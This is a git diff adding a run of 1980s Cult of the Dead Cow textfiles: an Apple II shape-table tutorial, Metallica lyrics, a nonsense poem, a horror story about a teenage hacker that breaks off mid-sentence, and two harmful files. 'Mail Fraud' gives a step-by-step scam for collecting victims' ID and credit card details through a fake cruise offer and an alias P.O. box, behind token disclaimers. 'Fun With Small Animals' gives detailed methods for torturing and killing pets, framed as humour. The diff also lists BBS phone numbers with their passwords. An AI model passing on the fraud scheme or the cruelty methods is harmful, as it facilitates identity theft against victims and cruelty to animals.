because the + rejects at the record company (ooooooh,Death Records.Original!) didn't + know how (I knew graduating from High School was good for SOMETHING). + So,there will be no thanks or mention of any k-rad s0puR el8 m0dUmb + d00dz (especially Razor Ratt,Angel Of Pain,Grandmaster Ratte,or any + of the geeks from cDc).If you have any questions,death threats, + comments,drugs,or interesting stories about your life long quest with + the Village People,leave them on Demon Roach,New Society,or wherever + else I may be at a given moment in this lifetime.If all else fails, + tell me ALL about it (Gee,I REALLY wanna hear from you) at either: + 800-45-Voice,Box 7500 or 800-22-Voice,Box 1082 or 415-468-2950,Box 7230. + So,like,GOODBYE (Not,lAtur,or l8r,or lAtr0,or lAtuz,or sLaTe,or laTEz). + ------------------------------------------------------------------------ + Demon Roach Underground:806/794-4362:3/12/2400 Baud:cDc:Private + New Society:915/532-3226:3/1200 Baud:Super d00d Password Is JELLO:Ae + The Ever K-Kool Metal AE:201/879-6668:1200 Baud Only:Neon Knights:KILL +=============================================================================== + (c)1988 cDc communications by Mr. Drunkfux 2/21/88-41 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0042.txt b/textfiles.com/groups/CDC/cDc-0042.txt new file mode 100644 index 00000000..5898be1e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0042.txt @@ -0,0 +1,102 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + APPLE SHAPE TABLES + (a short introduction) + + by The Dark Static + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +What shape tables are: + + Shape tables are a series of numbers in a binary location that define a +certain shape. They can either be POKEd into memory, or can be BSAVED. You +can program a shape table either from the monitor (call -151) or from BASIC. The first few addresses of that area define the table itself. + +Enough of that shit, let's get on to something real. + +The first thing you have to do, is let your computer know where this shape +table is stored. Here's how you do this: + +POKE 232,X + +POKE 233,Y + +X and Y can be figured out with a little program. If it is stored at 768 +A popular location then X=0 and Y=3. Most programs (like Blazing Paddles +and Take 1 have their shape tables stored at 24576($6000)). And if it is +stored at 24576, then X=0, Y=96 + +Here is the program to figure out X and Y + +10 SB=INT(AD/256) +20 FB=AD-SB*256 + +Before you run this, set AD equal to the memory address (remember 768 and +24576?) + +Now do this: + +PRINT SB +PRINT FB + +X is equal to FB and Y is equal to SB. + + +o Plotting shapes.. + +Now...Just do an HGR:HCOLOR=A command and you're ready. To plot a shape, just +XDRAW A at B,C. A is the shape number, B is the horizontal position of where +you want the shape to be, and C is the vertical position. To erase this shape, +just use the same command. XDRAW it over the same B and C position. + +Before you do all this, do a ROT=0. This is the rotation of the shape. +Setting ROT to 0 insures that you have the original shape. Experiment with the +rotation and change the number in ROT. + +If you want to make the shape larger or smaller, do a SCALE=X. In the shape's +natural position, X is equal to 1. If the shape appears somewhat fucked up, +then set SCALE to 1. Do not do any decimals... +That should be it for that. + +[Yet another thing I forgot to mention. If you just want to do this in page 1 + graphics (HGR) then read no further, skip to next section. + But, if you want to plot shapes on page 2 (HGR2) then POKE 230,64. To change + it back, POKE 230,32] + + +I am now going to end this beginners' introduction, but I wouldn't feel that I +had helped anyone struggling to learn this fun thing if I didn't at least give +an example shape to work with. Type in this program and then go back to +plotting shapes, and see what you can do... + + +o Sample program.. + + +10 HGR:HCOLOR=3:POKE -16302,0:rot=0 +50 REM vvv poking in shape table setup vvv +60 POKE 768,1:POKE 769,0:POKE 770,4:POKE 771,0 +70 REM vvv poking in shape[square] +80 POKE 772,44:poke 773,62 +90 POKE 232,0 +100 POKE 233,3 +110 SCALE=30 +120 XDRAW 1 AT X,90 +130 XDRAW 1 AT X,90 +140 X=X+1:GOTO 120 + +=============================================================================== + (c)1988 cDc communications by The Dark Static 2/29/88-42 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0043.txt b/textfiles.com/groups/CDC/cDc-0043.txt new file mode 100644 index 00000000..ce88cf9f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0043.txt @@ -0,0 +1,435 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + METALLICA + / \ + + KILL 'EM ALL + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Hey hey...now there's lyric files for the first three 'tallica LP's... + Ride the Lightning by The AntichrisT, and Master of Puppets by me. + +Thanks to Elektra for finally re-releasing it w/lyrics this time around, and the +d00de for letting me borrow it. A lot of it's been edited go be actually what +Hetfield's gurgling, instead of just straight from the sheet. + + -S. Ratte' 3/2/88 + cDc - "And we'll remain the hardest ever..." + +All lyrics (c)1983 Creeping Death Music + ASCAP + +_______________________________________________________________________________ + +--HIT THE LIGHTS (4:17) + (J. Hetfield, L. Ulrich) + +No life 'till leather +We are gonna kick some ass tonight +We got the metal madness +When our fans start screaming it's right, well alright +When we start to rock +We never want to stop again + +-CHORUS- + Hit the lights (x3) + +You know our fans are insane +We are gonna blow this place away +With volume higher +Than anything today the only way +When we start to rock +We never want to stop again + +-CHORUS- + +With all out screaming +We are gonna rip right through your brain +We got the lethal power +It's causing you sweet pain, oh sweet pain +When we start to rock +We never want to stop again + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--THE FOUR HORSEMEN (7:08) + (J. Hetfield, L. Ulrich, D. Mustaine) + +By the last breath of the fourth winds blow +Better raise your ears +The sound of hooves knock at your door +Lock up your wife and children now +It's time to wield the blade +For now you've got some company... + +-CHORUS- +The Horsemen are drawing nearer +On the leather steeds they ride +They've come to take your life +On through the dead of night +With the Four Horsemen ride +Or choose your fate and die + +You have been dying since the day you were born +You know it's all been planned +The quartet of deliverence rides +A sinner once a sinner twice +No need for confession now +Cause now you've got the fight of your life + +-CHORUS- + +Time +Has taken its toll on you +The lines that crack your face +Famine +Your body, it has torn through +Withered in every place +Pestilence +For what you've had to endure +And what you have put others through +Death +Deliverance, for you for sure +Now there's nothing you can do... + +So gather round young warriors now +And saddle up your steeds +Killing scores with demon swords +Now is the death of doers of wrong +Swing the judgement hammer down +Safely inside armor blood guts and sweat + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--MOTORBREATH (3:03) + (J. Hetfield) + +Living and dying, laughing and crying +Once you have seen it you'll never be the same +Life in the fast line is just how it seems +It's hard and it's heavy, it's dirty and mean + +-CHORUS- +Motorbreath +It's how I live my life +I can't take it any other way +Motorbreath +The sign of living fast +It's going to take +Your breath away (or: It can control you, take your breath away -SR) + +on't stop for nothing, it's full or speed or nothing +I'm taking down you know whatever's in my way +Getting your kicks as you're shooting the line +Sending the shivers up and down your spine + +-CHORUS- + +Those people who tell you not to take chances +They are all missing on what life's about +You only live once, so take hold of the chance +Don't end up like others, same song and dance + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--JUMP IN THE FIRE (4:50) + (J. Hetfield, L. Ulrich, D. Mustaine) + +Down in the depths of my fiery home +The summons bell will chime +Tempting you and all the earth +To join our sinful kind +There is a job to be done and I'm the one +You people make me do it +Now it's time for your fate and I won't hesitate +To pull you down into this pit + +-CHORUS- +So come on +Jump in the fire +So come on +Jump in the fire + +With hell in my eyes and with death in my veins +The end is closing in +Feeding on the minds of man +And from their souls within +My disciples all shout, to search you out +And they always shall obey +Follow me now my child, not the meek or the mild +But do just as I say + +-CHORUS- + +Jump by your will or be taken by force +I'll get you either way +Trying to keep the hellfire lit +I am stalking you as prey +Living your life as me I am you, you see +There is part of me in everyone +So reach down grab my hand, walk with me through the land +Come home where you belong + +-CHORUS- + +(Come on, help me go!) + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--WHIPLASH (4:06) + (J. Hetfield, L. Ulrich) + +Late at night, all systems go +You've come to see the show +We do our best, you're the rest +You make it real you know +There's a feeling deep inside +That drives you fuckin' mad +A feeling of a hammerhead +You need it oh so bad + +-CHORUS- +Adrenalin starts to flow +You're thrashing all around +Acting like a maniac +...Whiplash! + +Bang you head against the stage +Like you never did before +Make it ring, make it bleed +Make it really sore +In a frenzied madness +With your leathers and your spikes +Heads are bobbing all around +It's hot as hell tonight + +-CHORUS- + +Here on stage the Marshall noise +Is piercing through your ears +It kicks your ass, kicks your face +Exploding feeling nears +Now's the time to let it rip +To let it fuckin' loose +We're gathered here to maim and kill +Cause this is what we choose + +-CHORUS- + +(Here we go!)...gtr solo...(Whiplash!)...more solo + +The show is through, the metal's gone +It's time to hit the road +Another town, another gig +Again we will explode +Hotel rooms and motorways +Life out here is raw +We'll never stop, we'll never quit +Cause we're Metallica... + +-CHORUS- + +('go home' or 'all done' or 'arrghaiie'...) + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--PHANTOM LORD (4:52) + (J. Hetfield, L. Ulrich, D. Mustaine) + +Sound is ripping through your ears +The deafening sound of metal nears +Your bodies waiting for his whips +The taste of leather on your lips + +-CHORUS- +Hear the cry of war +Louder than before +With his sword in hand +To control the land +Crushing metal strikes +On this frightening night +Fall onto your knees +For the Phantom Lord + +Victims falling under chains +You hear them crying dying pains +The fist of terrors breaking through +Now there's nothing you can do + +-CHORUS- + +The leathered armies have prevailed +The Phantom Lord has never failed +Smoke is lifting from the ground +The rising volume metal sound + +-CHORUS- + +Fall to your knees +And bow to the Phantom Lord + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--NO REMORSE (6:24) + (J. Hetfield, L. Ulrich) + +No mercy for what we're doing +No thought to even what we have done +We don't need to feel the sorrow +No remorse for the helpless one + +-CHORUS- +War without end +No remorse, no repent +We don't care what it meant +Another day, another death +Another sorrow, another breath +No remorse, no repent +We don't care what it meant +Another day, another death +Another sorrow, another breath + +Blood feeds the war machine +As it eats its way across the land +We don't need to feel the sorrow +No remorse is the one command + +-CHORUS- + +Only the strong survive +No will to save the weaker race +We are ready to kill all comers +Like a loaded gun right at your face + +-CHORUS- + +Attack! + +Bullets are flying +People are dying +With madness surrounding, all hell's breaking loose +Soldiers are hounding +Bodies are mounting +Cannons are shouting to take their abuse +With war machines going +Blood starts to flowing +No mercy given to anyone hear +The furious fighting +Swords are like lightning +It all becomes frightening, you know death is near + +No remorse... + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--SEEK AND DESTROY (6:50) + (J. Hetfield, L. Ulrich) + +(Alright) + +We are scanning the scene +In the city tonite +Looking for you +To start up a fight +There's an evil feeling in our brains +But it's nothing new +You know it drives us insane + +-CHORUS- +Running +On our way +Hiding +You will pay +Dying +One thousand deaths +Running +On our way +Hiding +You will pay +Dying +One thousand deaths +Searching... +Seek and destroy (x4) + +There is no escape +And that's for sure +This is the end, we won't take any more +Say goodbye to the world you live in +You've always been taking, but now you're giving + +-CHORUS- + +Our brains are on fire +With the feeling to kill +And it won't go away +Until our dreams are fulfilled +There is only one thing on our minds +Don't try running away +Cause you're the one we will find + +-CHORUS- + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--METAL MILITIA (6:06) + (J. Hetfield, L. Ulrich, D. Mustaine) + +Thunder and lightning, the gods take revenge +Senseless destruction +Victims of fury are cowardly now +Running for safety +Stabbing the harlot to pay for her sins +Leaving the virgin +Suicide running as if it were free +Ripping and tearing + +-CHORUS- +Oh, through the mist and the madness +We're trying to get the message to you +Metal Militia (x3) + +Chained and shadowed to be left behind +Nine and one thousand +Metal militia for your sacrifice +Iron clad soldiers +Join or be conquered, the law of the land +What will befall you +The metalization of your inner soul +Twisting and turning + +-CHORUS- + +We are as one as we all are the same +Fighting for one cause +Leather and metal are our uniforms +Protecting what we are +Joining together to take on the world +With our heavy metal +Spreading the message to everyone here +Come let yourself go + +-CHORUS- + +=============================================================================== + (c)1988 cDc communications by Swamp Rat 3/2/88-43 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0044.txt b/textfiles.com/groups/CDC/cDc-0044.txt new file mode 100644 index 00000000..e3b806ba --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0044.txt @@ -0,0 +1,81 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + MAIL FRAUD + + by L.E. Pirate + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + Mail Fraud. The best thing since sugar free Jello (right Psyche?). + It is probably the most illegal thing you can get involved in, even worse + than (gulp) credit card scams. If you watch the news much, they nab alot + of mafia dudes and drug guys for mail fraud, so I really do not recomend + this as something you should do; I don't do it, so you know how much + trouble you can get in. + + In order to do this, you have to card an advertisement in a magazine for + a cruise, like a 6-10 day cruise in the Bahamas and 2 days in DisneyWorld. + Make the ad colorful, something that would "jump out" at the person. I + suggest you advertise in National Inquirer, Weekly World News, or something + like that (the bullshit papers, "I had a UFO Monkey for a baby, etc.") Those + kinds of papers will carry any ads. Either get a voice mail system, or a + voice line (which is so stupid since the feds will catch you faster than + you can say "jail sentence"). Make the voice mail system message say + something like this. + + (PLAY SOME MUSIC, NOT ROCK OR ANYTHING, LIKE MUZAK SHIT) + "Hello there, you have reached Star*Dust International Cruise Line + Reservations. At the moment, no one is currently available in the + office. Please leave your name, and voice number where you can be reached, + daytime or home numbers are accepted. Please leave it at the sound of the + tone. Thank you, and have a nice day!" BEEP. + + Next. Call them and say, "Star*Dust International calling" or whatever. + Ask them if they would like a FREE cruise line listing. Write down their + address. Before anything, you should call a real place and ask for some + cruise line booklets delivered to YOUR house (YOUR address). Make an + official looking cruise line sheet to go inside the booklet, rip the ones + out that are in there. Ask shit like drivers license number, 2 forms of + identification, visa/mc/amex card (you know), references, etc. Tell them + to mail it to a P.O. box (get one registered under an alias, not your + handle, dipshit, but like, 'TOM DICKFACE' or something. If they need I.D. + read the file coming out soon, 'PAPER FRAUD' or 'CHANGING YOUR I.D.', it + will appear in the first issue of Beyond TAP Magazine in March, 1988). + Then tell them their tickets will be mailed to them. You might want to + call a place and ACTUALLY get them the tickets, or just forget about it. + If you send the tickets, they will totally forget about it. If not, I'm + sure a full investigation will kick in. Best to do it. + + Please be careful...I would not actually try this. I have not tried + it, and I do not plan on trying it. I take no responsibility for what + you do (right there, I said it). If you try anything in ANY of my files, + you are totally 100 percent liable for everything you do. I did not make + you do anything, and I assume you are not a 'tard and can understand that + mail fraud is one of the grandmaster biggies of all time. So stay cool. + + I'd like to thank ME, Swamp Rat, The Blade, Professor Falken, Ice Pic, + Brain Tumor, The Traxster, Dr. Rom, Grass Lunatic, Bronze Rider, The Disk + Jockey, The Perplexer, Dial Tone, Scourge, Fry Guy, The Snowman, and + anyone that I forgot. Big FUCK YOU's go out to Dead Lord who thinks Blade + won't get his book sold. Thanks again. + + Support these K00L Systems... + + Dragonfire Private.....Pr]OPEN SESAME Nu]DEAD..BBS for BTAP..609/424-2606 + Metal AE...............Pr]KILL...............................201/879-6668 + Demon Roach Underground Pr]xxxxxx Nu]xxxx................806/794-4362 + Castle Catatonic.......Terminal]NEW Nu]ROAMER..............806/794-1842 + +=============================================================================== + (c)1987 cDc communications by L.E. Pirate 0/0/87-44 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0045.txt b/textfiles.com/groups/CDC/cDc-0045.txt new file mode 100644 index 00000000..6a3fc7d2 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0045.txt @@ -0,0 +1,83 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / .ooM presents... \ / + (` ') / (` ') + (U) (U) + + BEAMING DREAM + + a poem + + by Tequila Willy + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + + The color green, + has been seen, + upon a green + and gangreened + spleen. + Who'd think I'd dream, + in mean, + about a lean + teen, + who was weened + on a bean, + inside a cream + machine, + careening + a green + and gangreened + spleen? + "Not I," beemed + the dean, + at the scene, + who was dressed in a designer jean. + Keen + was the jean + worn by the clean + dean + at the scene. + "What do you mean?" + I asked the keen, + clean, + jeaning + dean. + "I did not think you'd dream, + in mean, + about a lean + teen, + who was weened + on a bean, + inside a cream machine, + careening + a green + and gangreened + spleen." + The keen, + clean, + dean, + who was dressed in a designer jean, + made me think, in mean, + about my dream. + The lean + teen + later married the queen + in the land of Zean. + + + + Now that your mind has been molested with that moving piece of cDc poetry, +I must be off; I have an anti-gravity machine to finish. + +=============================================================================== + (c)1988 cDc communications by TA-KEE-LA Willsie 3/25/88-45 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0046.txt b/textfiles.com/groups/CDC/cDc-0046.txt new file mode 100644 index 00000000..59e10621 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0046.txt @@ -0,0 +1,153 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + FUN WITH SMALL ANIMALS AND OTHER HOUSEHOLD PE(s)TS + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Imagine, if you will: + + You're trying to get some well-deserved and much needed sleep, and are +just about in z-land, when ... a blood-curdling "CHEEP! CHEEP!" erupts from the +next room. You leap up, struggle for balance, and run into the room, prepared +for anything. And lo and behold, what do you see, but your wonderful +pet bird. How sweet. + +----------------------------< early next morning >----------------------------- + + "My gawd, mom! I woke up and came in and Tweety was just lying there in a +puddle of blood!! Who could have done such a horrible thing??" + +Yah, right. + +Well, how many times has this scene occured in your happy home? + +Don't be bashful...admit it! This file is simply here to tell you the many +different ways to destroy the annoying little fuckers. + +Remeber: The little fuzzy bastards' ultimate goal is to rule the world, so take + precautions now... + Tomorrow may be too late. + + + +CATS: + + Dumb cat jumping on your bed when you're trying to rest? Grab your +pocketknife off the dresser and skin the shit. If it's still moving +(twitching?), pour some isopropyl alcohol on the furry lump. Does the trick +every time. + + Cat won't eat its food? Lock it in the basement with no food for 2 weeks. +Make sure you are wearing rubber gloves and other protective clothing when +retrieving your cat after this, since infected lacerations take quite a while +to heal, and may leave unsightly scars. The cat will be conditioned to at +least act grateful for its food. Miserable furry wretch. + + Won't shit in the litterbox, and prefers the floor? Collect the shit and +put it in place of the cat food until it gets the message. +(Note: This works equally well with dogs) + + + +BIRDS: + +CHEEP! CHEEP! Your trusty old pocketknife (yes, the one you skinned the cat + with) will do nicely to slice off the loudmouths beak. + +CHEEP! CHEEP! Lost your knife? It's ok, Lil' Camper...Put the cage over a + crackling fireplace. Ah, isn't that nice and comfy? Relax to + the sounds of your bird's last squawking as it's engulfed in + eternal flames... + +CHEEP! CHEEP! No fireplace? A microwave will do equally well! + ("Gremlins" is a treasure trove of fine ideas!) + +CHEEP! CHEEP! Don't want to get your microwave dirty? Starve the shit. Lock + up the cage, don't water it, don't feed it, put it in a closet + and wait a week or two. Spray with Lysol Disenfectant when + necessary. + +CHEEP! CHEEP! Hungry? Decapitate the tender morsel and you'll have chicken + for dinner tonight! + + + +MICE, HAMSTERS, GERBILS, and other rodents: + + The most fun way I know of to get rid of these little fuzzballs from hell +is to get a really small cage, put about ten (10) males and ten (10) females +in, and play some mood music. Take pictures of the resulting orgy. Excited +yet? Hmm... Soon the sluts will be pregnant and have little baby rats. But +wait! You didn't bargain for all these when you bought them, did you? Course' +not. Protest the pet store's exploitation of the consumer by refusing to feed +the rodents. Soon, the adults will have no choice but to eat their young, and +then each other. Take pictures of this, too. Medical tests have shown that +under these circumstances, laboratory rats and mice will go insane. But +remember, "In an insane world, only the insane are sane." Words to live by. + + For a bit of fun with party guests, holding one up by the tail and +flicking your bic a few times near the whiskers proves to be quite interesting +also. + + + +DOGS: + +"A dog is a mans' best friend." + +Bullshit! + A dog is an animal, just like the others we've mentioned, only worse +because they can be the most dangerous and become really big and frightful, so +they may forget who's the boss. You are, of course, so prove it to them. +How? There is always the old faithful of the tire over the solar plexus that +never ceases to delight friends and family alike. + + There is the wonderful charged fire hydrant. Connect a car battery to a +fire plug...when your pooch goes to piss...zap...instant sterilization! This +is always a good thing, since the birth rate of those cute wads of meat needs +to be reduced. + + You can't doggie paddle with no paws. Hack off the canine's feet and drop +him in the river. Watch puppy blow bubbles as he sinks...so long, sucker! + + +INSECTS: + There are basically two types of insects; those that fly and those that +crawl miserably on the ground. The flying type are much more annoying, but are +difficult to catch while in the air. The crawling type are much more readily +available. + + Catch some sort of insect and spray it with a cleaning agent, such as +window cleaner or floor wax to stun it. While it's disoriented, take some +tweezers and remove its harmful body part, such as the stinger, mouth, etc. +Here you have three options. You can continue removing body parts until it's +scattered all about, you can play B-Boy (see "Making Bugs Breakdance"), or you +may freeze the bug parts into an ice cube...won't your friends be delighted! + + + + Well, that looks like all the common household animals that may be a +problem sometimes (oh yes, fish are no problem; simply break some holes in +their tank and watch 'em squirm!) + +Watch for more 'Fun With....Killing' files by Sunspot + + + The Restaurant at the End of the Universe.........718/428-6776 + +=============================================================================== + (c)1988 cDc communications by Sunspot 2/8/88-46 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0047.txt b/textfiles.com/groups/CDC/cDc-0047.txt new file mode 100644 index 00000000..d167eedf --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0047.txt @@ -0,0 +1,252 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + HACKING INTO HELL + The True Story of Harry Poindexter + + by The Raver + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + This file was originally put out by The Lords of Twilight. With its +re-release, cDc comm. is quite orgasmic to announce The Raver's unceasing +fulfillment as a child of the Cow. -SR +_______________________________________________________________________________ + + +In the Beginning... + + The house was as silent as the moon was bright that dark, perilous night +back in December. The living room was dark...the stairs, equally so. +Surveying the upstairs hall we see that all is dark, save a narrow bar of light +escaping under one of the white doors. The faint sound of tapping could be +heard... + + Behind this particular door was the bedroom of a teenage boy. The room's +occupant, one Harry Poindexter, was present. He sat in his "self-styled" +throne tapping away incessantly at his keyboard. Let us look and see what +he is doing... click click click..."Damn!"...click click click... + + Harry, an accomplished hacker, called himself the Avocado Bandit, in +memory of his greatest hero. He was using his Apple IIe to attempt to break +into a local system that he had just recently discovered. Here is what his +monitor echoed to him... + + +CONNECT + +Purgatory Systems, Inc. UNIX System V + +;login: _ + + + What utter melancholy thoughts draped this young boy's mind. He had been +trying to gain access for the last six hours. Thoughts of getting a super- +user account and the powers he could wield brought him to the brink of orgasm. +"I must succeed," thought Harry, "I will succeed ... for I am the Avocado +Bandit!" As the last of his default logins failed, he sat back and thought of +events that occurred earlier in the day... + + When he had skipped school so he could log on to all the boards and leave +messages about his newest victories, when he called his poor mother a worthless +dog, when he sullenly apologized a half hour later and went to the grocery +store with her so he could get some "Mr. T Cereal", and when he set up a +conference with some of his "k-phriends" so that they could exchange codes and +info. + + He told AE to autodial the number again and resumed his task with a +renewed vigor. This time when the login prompt appeared, he felt a cold chill +and a single word materialized in his cranial passages ... Lucifer. Here is +what happened when he logged on again... + + +CONNECT + +Purgatory Systems, Inc. UNIX System V + +;login: lucifer +password: _ + + + Getting worried, he hung up and thought. Small beads of sweat appeared on +his white fulfillment. Although he had posted logins on boards all over the +country he had never actually hacked one out. Nay. He simply "leeched" the +logins from other systems and re-posted them saying that he had hacked it. +Now he was worried. He had gotten through the first door. Now how to get +past the second? "Lucifer," muttered Harry, "What word is akin to that?" +"Satan? Belial? Beelzebub?" He dialed the number yet again... + + +CONNECT + +Purgatory Systems, Inc. UNIX System V + +;login: lucifer +password: satan +Last login: Fri Feb 12 08:05 + +$ _ + + +"Oh my God," exclaimed Harry Poindexter, "I'm in!" With that, Harry tried the +ever-useful who command... + + +$ who am i +lucifer tty08 Feb 13 02:06 + + + For the next hour Harry played with the unusual UNIX system. By 3:30 AM +he had created himself a super-user account. He hung up and dialed in again to +test out his new account... + + +CONNECT + +Purgatory Systems, Inc. UNIX System V + +;login: sammy +password: toyz +Last login: Sat Feb 13 3:24 + +$ _ + + + "Man," exclaimed Harry, "That's so K!" He hung up and went downstairs to +the kitchen. His rummaging around in the refrigerator woke his mother up. She +came downstairs in her bathrobe and went to the kitchen... "What are you doing, +young man," she exclaimed. "You know it's way past your bedtime." + "But mom," whined Harry, "I'm just getting some Kudos and a glass of milk." Harry poured his milk into his Superman glass and listened intently to +his mother. + "Son, it's 3:30 in the morning. Why don't you eat your snack, wash and +brush, and go to bed. Please, son," pleaded his mother. + "Okay, mom," said Harry, the resentment in his voice plain as day. With +that his mother went back upstairs. + + A few minutes later Harry went back up to his room (which he called +Pirate's Zone) and sat down on his bed to munch upon his Kudos and milk. After +he was done eating, he set the dishes down in the corner and lifted up the +mattress of his bed and retrieved a ragged, dog-eared issue of Penthouse. He +sat in his bed and tossed off for a while. When he was done he just looked at +the pictures for a while and wished that he could kiss a girl... He then fell +into a deep sleep, his light and computer still on. + + +The Next Day Is Not Always Brighter... + + On Sunday, Harry awoke with a start. He had had raving nightmares all +night. In one particularly horrifying episode he had dreamed that he was tied +and bound to a post on a ledge far above a vast cavern. Filling the cavern +were hundreds upon hundreds of demons. In front of him was a large iron anvil +and +his limp cock was tied to it with a thong of black leather. In front of his +sweaty face dangled a microphone with a small ID badge on it. The badge read +"HBC Radio 666". He looked around the cavern. The reddish glow horrified him +the most. He whimpered and was shocked to hear that such a small sound echoed +throughout the dankness of the cavern at such a high volume. His mortal mind +attributed that to the microphone that swayed gently before him. His fear +grew stronger when he heard the thumping of footsteps to his right. He looked +over his shoulder and saw a demon approaching him. The demon had the torso of +a man and the legs of a goat. It had a pentacle burned into its hairy chest +and wore both a headsman's mask and a necklace of linked golden discs. The +masses cheered as this executioner approached poor Harry. Harry was confused +and bewildered, that is until he saw what the demon cum executioner carried, +a large sledge hammer. Harry glanced down at his dongle and choked back a +scream. The masses were going crazy as the executioner hefted the sledgehammer +up high. Harry screamed as the sledgehammer connected with his cock. That was +when Harry awoke with a start... + +His mother was calling to him, telling him to come downstairs to eat his +breakfast. Harry got up and slinked over to his computer, clutching at his +crotch all the way. On the screen was printed something that horrified him. +Here is what Harry saw on his monitor... + + +Did you enjoy your nap? We're waiting for you to come and visit us..._ + + +Harry stifled a gasp and flipped the ON/OFF switch at the back of his Apple. +The monitor shimmered, flickered, and then went blank. Harry ran downstairs +to eat his breakfast... + +When Harry had finished filling his stomach with eggs and pancakes we ambled +back upstairs to get ready for church. He undressed and hopped into the shower. +He liked to pretend that it was the transporter chamber on the U.S.S. Enter- +prise^^ on StarTrek. As he turned on the water he heard a chilling voice... + + "Ready to beam down...energizing..." + +As Harry shrieked the water turned a crimson hue and he passed out. When he +awoke he was in fetters and chains and naked as could be. He tried to hide +his "manhood" as he stood before the great, iron-wrought throne of Satan, +Lord of Hell. Satan smiled at him... all Harry could do was whimper. As Harry +stood there, cringing before the might of Satan, he tried not to think of the +dreams he had had the night before... + + +Into the Lungs of Hell... + +"You are a pitiful sight, mortal. Had you not hacked your way onto one of my +UNIX systems I might never have known of you," said Satan, "but the things +that you have done to my Purgatory are great indeed. Do you know what trouble +you have caused, boy?" A tear streamed down Harry's cheek, "But all I did was +to create a super-user account. Honest. I swear to God...ulp." Satan bellowed +forth with an intensity that shook the very foundations of this text file... + + rumble...rumble...rumble... + +"Enough!" screamed Satan. "I sentence you to never-ending aeons of punishment +and torture! You will forever wish to die! Just when it appears that your +mortal body can no longer take the punishment I shall give it you will be +healed. Thus you will never die! In fact, I bequeath upon you that which man +has sought for all eternity... immortality!" And with a mere flick of Satan's +taloned hand Harry instantaneously reappeared elsewhere in Hell... + +Harry was sweating profusely when he found out what kind of predicament he was +in. Lying on his back, the warm and rocky floors of Hell gave him little com- +fort. He was still naked and he was in a spread-eagle position, hand and foot +bound to an iron stake firmly implanted in the barren floor. High in the dim, +reddish skies of Hell circled several vultures, eaters of carrion. He could +hear the screams of anguish of his "neighbors". What was his fate? + +Less than a score of minutes later the punishment that Satan had ordered was +brought down on him, never to cease. Four imps of Hell fluttered over on their +small, membraneous wings. They landed to his sides and snickered in their evil +and high-pitched voices. One of them grinned and bit his leg. Harry screamed. +The gaping wound in his left thigh seemed a well of crimson. But as Harry was +experiencing the pain of such a wound it miraculously healed up. Harry, fulfillment' +no longer in pain from the bite, was still screaming his lungs out... It was +then that another of the imps assaulted him. This one raised his iron pitch +fork up high in the air and brought it downwards, mercilessly grinding its +three forked points into Harry's crotch. The screams filled the air, the gore +and blood welled, all to no avail. For as soon as the damage was done the +wound healed itself back up. + + +The Light is Always Darkest at the End of the Tunnel... + +Thus was Harry's fate sealed for all eternity. But what of his poor mother, +you ask? Quite simply answered, friend. 